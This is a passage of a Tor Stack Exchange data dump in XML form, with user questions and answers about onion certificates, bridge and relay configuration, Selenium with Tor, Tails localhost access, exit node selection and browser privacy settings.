rel=&quot;nofollow noreferrer&quot;&gt;Ballot SC27v3: Version 3 Onion Certificates&lt;/a&gt;) was presented to the &lt;a href=&quot;https://en.wikipedia.org/wiki/CA/Browser_Forum&quot; rel=&quot;nofollow noreferrer&quot;&gt;CA/Browser Forum&lt;/a&gt;, requesting CAs to be able to issue EV &amp;amp; OV certificates for v3 &lt;code&gt;.onion&lt;/code&gt; domains. It passed unanimously in February 2020.&lt;/p&gt;&#xA;&lt;h3&gt;ETA for Let's Encrypt?&lt;/h3&gt;&#xA;&lt;p&gt;At the time of writing, Let's Encrypt's ACME protocol does not support issuing certificates for the &lt;code&gt;.onion&lt;/code&gt; domain, but there is a ticket open to add this feature.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/letsencrypt/boulder/issues/4620&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/letsencrypt/boulder/issues/4620&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The ticket linked-above specifically mentions that they aren't sure if there's enough demand for this feature to warrant allocating resources to implement issuing certs for &lt;code&gt;.onion&lt;/code&gt; domains. So, if this is important to you, then I recommend adding a +1 to the ticket linked above ;)&lt;/p&gt;&#xA;&lt;p&gt;...And maybe add a comment on why this is important to you if you have another use-case that hasn't yet been considered.&lt;/p&gt;&#xA;&lt;h3&gt;Non-free CAs&lt;/h3&gt;&#xA;&lt;p&gt;You can view a list of all the Onion Services with https certificates here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crt.sh/?q=%25.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crt.sh/?q=%25.onion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Notable Certificate Authorities that sell certificates with support for .onion sites include:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.digicert.com/blog/ordering-a-onion-certificate-from-digicert/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DigiCert&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hellenic Academic and Research Institutions CA&lt;/li&gt;&#xA;&lt;li&gt;Commercié Extended Validation Server CA&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2023-08-05T21:55:16.447" LastActivityDate="2023-08-05T21:55:16.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21765" PostTypeId="1" CreationDate="2020-11-30T21:08:43.857" Score="0" ViewCount="1293" Body="&lt;p&gt;So if i use Tor as proxies, i got Cloudflare chalenge captcha&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proxies = {'http': 'socks5://127.0.0.1:9050',&#xA;           'https': 'socks5://127.0.0.1:9050'}&#xA;s = requests.Session()&#xA;s.proxies = proxies&#xA;r = s.get(url)&#xA;print(r.headers)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if i do same reuest without proxies&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;s = requests.Session()&#xA;r = s.get(url)&#xA;print(r.headers)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I got response without Cloud protection, also same url is not blocking in Tor browser never on changing IPs.&lt;/p&gt;&#xA;&lt;p&gt;What is proble can be with proxies? How to fix?&lt;/p&gt;&#xA;" OwnerUserId="14701" LastEditorUserId="24966" LastEditDate="2020-12-02T23:05:54.843" LastActivityDate="2020-12-02T23:05:54.843" Title="Cloudflare captchas when using Tor (but not with Tor Browser)" Tags="|tor-browser-bundle|cloudflare|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21767" PostTypeId="1" CreationDate="2020-12-02T05:17:49.467" Score="1" ViewCount="1372" Body="&lt;p&gt;Trying to connect to tor via selenium for the first time. Using Windows 7 64 ...Getting this error code..&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;selenium.common.exceptions.WebDriverException: Message: Process unexpectedly closed with status 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and a pop-up saying tor failed to start. Here is my code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from selenium.webdriver.firefox.firefox_binary import FirefoxBinary&#xA;binary = FirefoxBinary(r'C:\Users\Abhi\Desktop\Tor Browser\Browser\firefox.exe')&#xA;torexe = os.popen(r'C:\Users\Abhi\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe')&#xA;profile = FirefoxProfile(r'C:\Users\Abhi\Desktop\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default')&#xA;profile.set_preference('network.proxy.type', 1)&#xA;profile.set_preference('network.proxy.socks', '127.0.0.1')&#xA;profile.set_preference('network.proxy.socks_port', 9150)&#xA;profile.set_preference(&amp;quot;network.proxy.socks_remote_dns&amp;quot;, False)&#xA;profile.update_preferences()&#xA;driver = webdriver.Firefox(firefox_profile= profile, executable_path=r'C:\Users\Abhi\Desktop\geckodriver.exe', firefox_binary=binary)&#xA;driver.get(&amp;quot;http://check.torproject.org&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help is appreciated.Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="31304" LastEditorUserId="24966" LastEditDate="2020-12-02T15:57:53.547" LastActivityDate="2022-04-11T08:06:05.550" Title="Tor Browser failed to start under Selenium" Tags="|tor-browser-bundle|configuration|browsers|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21769" PostTypeId="1" CreationDate="2020-12-02T08:02:40.050" Score="0" ViewCount="248" Body="&lt;p&gt;I've been trying to get IVP6 running on my tor bridge, and ever since I've had this great idea it's been a Mount Kilimajaro vertical climb with me not getting much past the base of the&#xA;mountain.&lt;/p&gt;&#xA;&lt;p&gt;I am installing on a Digital Ocean Droplet (Ubuntu 20.4). IVP6 has been enabled on the site.&lt;/p&gt;&#xA;&lt;p&gt;Secondly I used the Tor Configator to set up the torrc file. Below is the file from Tor Configator, somewhat modified by me.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 6XXX&#xA;ORPort [2604:a880:400:d0::1998:a001]:auto&#xA;ExtORPort auto&#xA;SocksPort 0&#xA;BridgeRelay 1&#xA;Nickname &#xA;ContactInfo &#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:8XXX&#xA;Log notice file /var/log/tor/notices.log&#xA;ExitPolicy reject6 *:*, reject *:*&#xA;RelayBandwidthRate &#xA;RelayBandwidthBurst &#xA;#AccountingStart month 1 00:00&#xA;#AccountingMax 1 GB&#xA;DisableDebuggerAttachment 0&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Repeated error after many tries:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 02 07:15:43.393 [notice] Opening Control listener on 127.0.0.1:9xxx&#xA;Dec 02 07:15:43.393 [notice] Opened Control listener on 127.0.0.1:9XXX&#xA;Dec 02 07:15:43.393 [notice] Opening OR listener on 0.0.0.0:6969&#xA;Dec 02 07:15:43.393 [notice] Opened OR listener on 0.0.0.0:6969&#xA;Dec 02 07:15:43.393 [notice] Opening OR listener on [2604:a880:400:d0::1998:a001]:0 &amp;lt;A port number was assigned here, came back as zero&#xA;Dec 02 07:15:43.393 [warn] Could not bind to 2604:a880:400:d0::1998:a001:0: Cannot assign requested address&#xA;Dec 02 07:15:43.393 [notice] Opening Extended OR listener on 127.0.0.1:0&#xA;Dec 02 07:15:43.393 [notice] Extended OR listener listening on port 4XXXX&#xA;Dec 02 07:15:43.393 [notice] Opened Extended OR listener on 127.0.0.1:4XXXX&#xA;Dec 02 07:15:43.393 [notice] Closing partially-constructed Control listener on 127.0.0.1:9XXX&#xA;Dec 02 07:15:43.393 [notice] Closing partially-constructed OR listener on 0.0.0.0:6XXX&#xA;Dec 02 07:15:43.393 [notice] Closing partially-constructed Extended OR listener on 127.0.0.1:4XXXX&#xA;Dec 02 07:15:43.393 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Dec 02 07:15:43.393 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The IVP is the public address assigned by Digital Ocean to the Droplet. The range is from&#xA;a001 - a001 F&lt;/p&gt;&#xA;&lt;p&gt;I've tried following online websites and I have learned that much of that information is or is&#xA;not trustable. Hard to know when you are new to Tor.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be appreciated, and thank you!!&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="24966" LastEditDate="2020-12-02T15:59:15.880" LastActivityDate="2021-12-27T23:01:30.140" Title="tor Ivp6 Cannot bind" Tags="|bridge|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21770" PostTypeId="2" ParentId="21769" CreationDate="2020-12-02T20:24:25.223" Score="0" Body="&lt;p&gt;If you are trying to setup IPv6 only relay then forget about it - it WILL NOT work. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/IPv6RelayHowto&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Tor relay operators IPv6 HOWTO&lt;/a&gt; for more.&lt;/p&gt;&#xA;&lt;p&gt;Specifically the above page says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There is currently no way of running an IPv6 only relay. Your relay&#xA;will have to publish both an IPv4 and an IPv6 OR port. This limitation&#xA;will go away but note that your relay will need to be able to make&#xA;outgoing IPv4 connections for a foreseeable future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The page mentions this issue tracker: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5788&quot; rel=&quot;nofollow noreferrer&quot;&gt;#5788: Add support for relays without an IPv4 address&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Additionally, if I read the &lt;code&gt;tor&lt;/code&gt; man page correctly, you can specify both (optional) IP address and numeric port for ORPort option or single value of &lt;code&gt;auto&lt;/code&gt;. Therefore, your configuration entry:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort [2604:a880:400:d0::1998:a001]:auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is invalid. Your probably can do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort auto IPv6Only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to limit ORPort to IPv6 only and have automatic assignment.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastEditorUserId="20437" LastEditDate="2020-12-02T20:31:15.960" LastActivityDate="2020-12-02T20:31:15.960" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21771" PostTypeId="1" CreationDate="2020-12-03T09:36:05.607" Score="0" ViewCount="272" Body="&lt;p&gt;Lately I have been trying to set up an obfs4 bridge on local area network.When running tor service,the log would show some message like this and the obfs4 loaded failed.What should i do?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/D3IzU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D3IzU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JmraS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmraS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31309" LastActivityDate="2020-12-03T09:36:05.607" Title="Managed proxy '/usr/bin/obfs4proxy' did not configure the specified outgoing proxy and will be terminated" Tags="|configuration|onion-services|linux|bridge|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21772" PostTypeId="1" CreationDate="2020-12-03T09:40:18.067" Score="0" ViewCount="828" Body="&lt;p&gt;How does the ISP know if i m using Tor? I read many articles about it but none of them wrote HOW...&#xA;If i use Tor on 80 and 443 ports, how can ISP know it s Tor? Do ISPs have a database about Tor entry nodes' IPs?&lt;/p&gt;&#xA;" OwnerUserId="31310" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:36.957" LastActivityDate="2021-05-25T20:41:36.957" Title="How does the ISP know if Tor is used" Tags="|internet-service-provider|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21773" PostTypeId="2" ParentId="21772" CreationDate="2020-12-03T15:06:26.707" Score="1" Body="&lt;p&gt;There are a few ways that an ISP could learn that you're using Tor. Like you said, an ISP could easily download a list of all Tor relays and check if you're connecting to an address (ip/port) of any relay. This is the most common (and easiest) way of censoring the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Some users run unlisted bridge relays so that censors (or in this case the ISP) don't learn the IP addresses of these relays. In this case the ISP can analyze the encrypted traffic itself and the timing to guess if it's Tor traffic. For this reason bridge relays use traffic obfuscation like obfs4 to make the traffic look different from regular Tor traffic.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-03T15:06:26.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21774" PostTypeId="2" ParentId="21760" CreationDate="2020-12-03T16:13:56.597" Score="0" Body="&lt;p&gt;Ok, after spending some time understanding how chutney works and what I was doing wrong I determined that it was the automatically generated key files that might have been causing this issue. When you run chutney with the 'configure' option, it generates some keys and the torrc file. I was basically copying everything into separate VMs, and this caused the exit relay to behave different. Once I deleted the files in the /var/lib/tor/keys/* directory, the exit relay was able to authenticate with the other authority servers and create a circuit. I did the same thing with the authority servers where I deleted all the keys except for the ones that began with authority_*. This seems to have fixed this issue. I still have problems with the client VM to connect as it fails bootstrapping. But I'm going to create a separate post for this client issue. Thanks Steve!&lt;/p&gt;&#xA;" OwnerUserId="31242" LastActivityDate="2020-12-03T16:13:56.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21777" PostTypeId="1" CreationDate="2020-12-03T21:12:18.263" Score="0" ViewCount="123" Body="&lt;p&gt;Why is my guard french or german if my IP is from Singapore? I downloaded the Tor installation file from Singapore but my guard is still french.&#xA;Why is it like this? I suppose to get asian circuit.&lt;/p&gt;&#xA;" OwnerUserId="31317" LastActivityDate="2021-12-29T03:09:10.790" Title="guard node IP is european (FR or DE)" Tags="|ip-address|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21778" PostTypeId="2" ParentId="21777" CreationDate="2020-12-03T22:55:48.840" Score="0" Body="&lt;p&gt;The geographical location of your guard node is unrelated to your personal geographical location. In other words, the locations of relays in your circuit have nothing to do with your actual location. This is intentional since if clients only were to chose relays near them, then the relays would also know that the user is near them, which would hurt the client's anonymity.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-03T22:55:48.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21779" PostTypeId="2" ParentId="21623" CreationDate="2020-12-03T22:58:18.457" Score="0" Body="&lt;p&gt;Tails does not ship any BitTorrent software and is unlikely to do so in the future.&lt;/p&gt;&#xA;&lt;p&gt;The problem with using BitTorrent over Tor is double:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It harms the network, &lt;a href=&quot;https://tor.stackexchange.com/users/31031/suomynona&quot;&gt;as stated by suomynona&lt;/a&gt;. See: &lt;a href=&quot;https://blog.torproject.org/why-tor-slow-and-what-were-going-do-about-it&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/why-tor-slow-and-what-were-going-do-about-it&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;It is technically &lt;a href=&quot;https://blog.torproject.org/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow noreferrer&quot;&gt;hard to do it properly&lt;/a&gt; and &lt;em&gt;&lt;strong&gt;will probably break your anonymity&lt;/strong&gt;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are relatively &lt;a href=&quot;https://blog.torproject.org/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow noreferrer&quot;&gt;vague plans to improve on this situation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://tails.boum.org/support/faq/#bittorrent&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails' FAQ on Bittorent&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2020-12-03T22:58:18.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21780" PostTypeId="2" ParentId="21208" CreationDate="2020-12-03T23:07:50.557" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;The proxy server is refusing connections. Firefox is configured to use a proxy server that is refusing connections. - Check the proxy settings to make sure that they are correct&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This message means that you are not connected to a network, you can find the required information on &lt;a href=&quot;https://tails.boum.org/doc/anonymous_internet/networkmanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page of the documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have no Firefox installed on my computer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes it's misleading but in this message &amp;quot;Firefox&amp;quot; is referring to the web-browser shipped in Tails, the Tor Browser (which is based on Firefox)&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2020-12-03T23:07:50.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21781" PostTypeId="2" ParentId="21097" CreationDate="2020-12-03T23:23:17.013" Score="1" Body="&lt;p&gt;To access &lt;code&gt;localhost&lt;/code&gt; with Tor Browser in Tails you can use the following script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;grep -qxF &amp;quot;user_pref(\&amp;quot;network.proxy.no_proxies_on\&amp;quot;, \&amp;quot;127.0.0.1\&amp;quot;);&amp;quot;  '/home/amnesia/.tor-browser/profile.default/user.js' || echo &amp;quot;user_pref(\&amp;quot;network.proxy.no_proxies_on\&amp;quot;, \&amp;quot;127.0.0.1\&amp;quot;);&amp;quot;  &amp;gt;&amp;gt; '/home/amnesia/.tor-browser/profile.default/user.js'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;what it does:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;write with &lt;code&gt;echo&lt;/code&gt; a rule in &lt;code&gt;user.js&lt;/code&gt; allowing access to &lt;code&gt;127.0.0.1&lt;/code&gt; (localhost)&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;grep&lt;/code&gt; part checks if the line already exists before writing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;(you need to restart the Tor Browser after that)&lt;/p&gt;&#xA;&lt;p&gt;You also need to open the firewall, here is the rule I use to run Hugo on Tails (on port 1313):&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;# iptables -I OUTPUT -d localhost -o lo -p tcp --dport 1313 -m owner --uid-owner amnesia -j ACCEPT;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2020-12-03T23:23:17.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21784" PostTypeId="2" ParentId="11994" CreationDate="2020-12-04T17:50:09.913" Score="2" Body="&lt;p&gt;By far the easiest and safest is to start a local &lt;code&gt;.onion&lt;/code&gt; service, then connect to it normally.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an empty folder somewhere, e.g. &lt;code&gt;C:/my/keys/test1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then add this to &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA; &#xA;&lt;pre&gt;&lt;code&gt; HiddenServiceDir C:/my/keys/test1&#xA; HiddenServiceVersion 3&#xA; HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On Windows, &lt;code&gt;torrc&lt;/code&gt; is at &lt;code&gt;%USERPROFILE%\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;On Linux/MacOS &lt;code&gt;torrc&lt;/code&gt; is located at &lt;code&gt;[install directory]/Browser/TorBrowser/Data/Tor/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now restart your Tor Browser, and it'll create a file &lt;code&gt;C:/my/keys/test1/hostname&lt;/code&gt;, which will contain the .onion address pointing to your &lt;code&gt;localhost:80&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31323" LastEditorUserId="31323" LastEditDate="2023-12-20T14:22:34.890" LastActivityDate="2023-12-20T14:22:34.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21785" PostTypeId="1" AcceptedAnswerId="21786" CreationDate="2020-12-06T15:18:49.403" Score="0" ViewCount="45" Body="&lt;p&gt;I use Tor Browser 10.0.5 with Ubunto 16.04.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to configure my IP to be in a specific country with setting &lt;code&gt;ExitNodes {countryCode}&lt;/code&gt; in &lt;code&gt;Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While for almost all countries it works fine (google is shown in language of desired country), when I set it to Israel (&lt;code&gt;{il}&lt;/code&gt;) I get timeout.&lt;br /&gt;&#xA;Any idea why does it happen and how can I solve it?&lt;/p&gt;&#xA;" OwnerUserId="31331" LastActivityDate="2020-12-07T14:50:23.670" Title="Forcing ExitNodes fails for specific country" Tags="|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21786" PostTypeId="2" ParentId="21785" CreationDate="2020-12-06T17:25:31.360" Score="2" Body="&lt;p&gt;There are no exits in Israel (or at least with the &lt;code&gt;il&lt;/code&gt; country code):&lt;br /&gt;&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#search/country:il%20flag:exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#search/country:il%20flag:exit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Updated link to show only exit relays.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-12-07T14:50:23.670" LastActivityDate="2020-12-07T14:50:23.670" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21788" PostTypeId="1" AcceptedAnswerId="21789" CreationDate="2020-12-09T01:26:14.810" Score="2" ViewCount="111" Body="&lt;p&gt;Obviously sites you contact only have the IP of your exit node. But, who's to say that the web page that gets sent back to you can't just contain some JavaScript that gets your real IP then sends it back to the server? I'm sure this isn't possible some how because that would render Tor almost completely useless so more or less what I'm asking is, how does Tor prevent this?&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-12-09T01:30:12.037" Title="How don't websites easily get your IP through this method?" Tags="|website|javascript|ip-address-leak|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21789" PostTypeId="2" ParentId="21788" CreationDate="2020-12-09T01:30:12.037" Score="2" Body="&lt;p&gt;How would you propose this JavaScript code obtain the client's IP address?&lt;/p&gt;&#xA;&lt;p&gt;JS running in web browsers cannot run arbitrary commands on the host machine — that would be an extreme security violation.&lt;/p&gt;&#xA;&lt;p&gt;Pretty much every method of finding a client's IP address you'll find in online tutorials, &lt;a href=&quot;https://www.geeksforgeeks.org/how-to-get-client-ip-address-using-javascript/&quot; rel=&quot;nofollow noreferrer&quot;&gt;such as this one&lt;/a&gt;, rely entirely on processing XHR requests to third-party APIs. So those will only get the exit node's IP address too.&lt;/p&gt;&#xA;" OwnerUserId="31344" LastActivityDate="2020-12-09T01:30:12.037" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21791" PostTypeId="1" AcceptedAnswerId="21792" CreationDate="2020-12-09T03:20:24.787" Score="0" ViewCount="112" Body="&lt;p&gt;What extensions and settings must be added to the browser to make it as private and secure as possible? I know that the answer to this probably changes a lot as security changes. But so far what I have been able to think of is:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Private mode&lt;/li&gt;&#xA;&lt;li&gt;With a Tor bridge&lt;/li&gt;&#xA;&lt;li&gt;Security level at safest&lt;/li&gt;&#xA;&lt;li&gt;HTTPS Everywhere&lt;/li&gt;&#xA;&lt;li&gt;NoScript&lt;/li&gt;&#xA;&lt;li&gt;Ublock or DDG Privacy essentials to amp up tracker blocking further&lt;/li&gt;&#xA;&lt;li&gt;Window not maximized&lt;/li&gt;&#xA;&lt;li&gt;User agent spoofer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What else?&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-12-09T04:16:29.097" Title="Locking down the browser to the max" Tags="|security|spoofing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21792" PostTypeId="2" ParentId="21791" CreationDate="2020-12-09T04:16:29.097" Score="0" Body="&lt;p&gt;Other than changing the security level (or adding a bridge), you should not change any settings in Tor Browser.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With a Tor bridge&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Bridges are useful for censorship-resistance, and don't do much in the way of privacy.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HTTPS Everywhere&lt;/li&gt;&#xA;&lt;li&gt;NoScript&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Tor Browser includes NoScript and HTTPS Everywhere.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ublock or DDG Privacy essentials to amp up tracker blocking further&lt;/li&gt;&#xA;&lt;li&gt;User agent spoofer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Other extensions (including these) will make you uniquely identifiable across sessions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Window not maximized&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Tor Browser include &lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;letterboxing&lt;/a&gt;, which means you can safely maximize your browser window.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-09T04:16:29.097" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21794" PostTypeId="1" CreationDate="2020-12-10T04:38:54.350" Score="0" ViewCount="279" Body="&lt;p&gt;I first want to generate a service and save the private key for reuse if one hasn't already been generated and saved, and if one has been generated and saved I want to be able to load it again if possible, so I can reuse the onion address within my program.&lt;/p&gt;&#xA;&lt;p&gt;Also I'm programming this with python and you can see my program so far if you'd like to have a look.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Footsiefat/Tiresias_Backend/blob/main/tiresias.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;program link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31350" LastEditorUserId="24966" LastEditDate="2020-12-10T15:24:49.447" LastActivityDate="2022-01-04T18:05:20.530" Title="How do I reuse the onion address of a hidden service" Tags="|onion-services|python|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21795" PostTypeId="2" ParentId="21794" CreationDate="2020-12-10T05:21:31.880" Score="0" Body="&lt;p&gt;You're using stem's &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.create_ephemeral_hidden_service&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;create_ephemeral_hidden_service()&lt;/code&gt;&lt;/a&gt;, which allows you to specify the key to use for your onion service with the &lt;code&gt;key_type&lt;/code&gt; and &lt;code&gt;key_content&lt;/code&gt; arguments. You can either create the key manually before you first run the program, or the first time you run the program, you can allow &lt;code&gt;create_ephemeral_hidden_service()&lt;/code&gt; to generate the key (make sure the &lt;code&gt;discard_key&lt;/code&gt; option is &lt;code&gt;False&lt;/code&gt;), parse the response from tor, save the &lt;code&gt;PrivateKey&lt;/code&gt; field in the response, and then re-use this key in the future.&lt;/p&gt;&#xA;&lt;p&gt;There is a code example here: &lt;a href=&quot;https://tor.stackexchange.com/a/10483&quot;&gt;https://tor.stackexchange.com/a/10483&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-12-10T05:36:00.767" LastActivityDate="2020-12-10T05:36:00.767" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
